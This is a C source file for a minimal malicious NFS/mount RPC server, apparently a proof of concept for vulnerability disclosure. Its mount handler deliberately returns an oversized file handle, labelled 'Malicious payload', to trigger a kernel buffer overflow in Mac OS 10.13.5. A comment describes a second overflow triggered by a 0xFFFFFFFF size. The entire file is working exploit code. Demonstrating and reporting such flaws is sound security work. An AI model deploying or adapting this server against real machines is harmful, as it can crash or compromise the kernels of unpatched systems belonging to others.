/**
 * This file implements a minimal subset of the RPC protocol for NFS.
 * Its purpose is to demonstrate that there is a buffer overflow
 * vulnerability in the kernel of Mac OS version 10.13.5.
 */

#include <rpc/rpc.h>
#include <stdio.h>
#include "nfs.h"

static int void_buf = 0;

void* nfsproc3_null_3_svc(void *x, struct svc_req *req) {
  printf("nfsproc3_null_3_svc\n");
  return &void_buf;
}

void* mountproc3_null_3_svc(void *x, struct svc_req *req) {
  printf("mountproc3_null_3_svc\n");
  return &void_buf;
}

mountres3* mountproc3_mnt_3_svc(dirpath *path, struct svc_req *req) {
  static struct mountres3 result;
  static int auth_flavors[1] = {1}; // RPCAUTH_SYS
  static const uint32_t far_too_big_fhandle3_size = 0x1000;

  printf("mountproc3_mnt_3_svc\n");

  result.fhs_status = 0;

  // Malicious payload. Note: there is a second vulnerability which can be
  // triggered by setting far_too_big_fhandle3_size == 0xFFFFFFFF. But this
  // will only work if we manually edit the auto-generated file nfs_xdr.c
  // so that it doesn't attempt to create a message with 4GB of data.
  result.mountres3_u.mountinfo.fhandle.data.data_len = far_too_big_fhandle3_size;
  result.mountres3_u.mountinfo.fhandle.data.data_val = malloc(far_too_big_fhandle3_size);
  memset(result.mountres3_u.mountinfo.fhandle.data.data_val, 0, far_too_big_fhandle3_size);

  result.mountres3_u.mountinfo.auth_flavors.auth_flavors_len = 1;
  result.mountres3_u.mountinfo.auth_flavors.auth_flavors_val = auth_flavors;
  return &result;
}
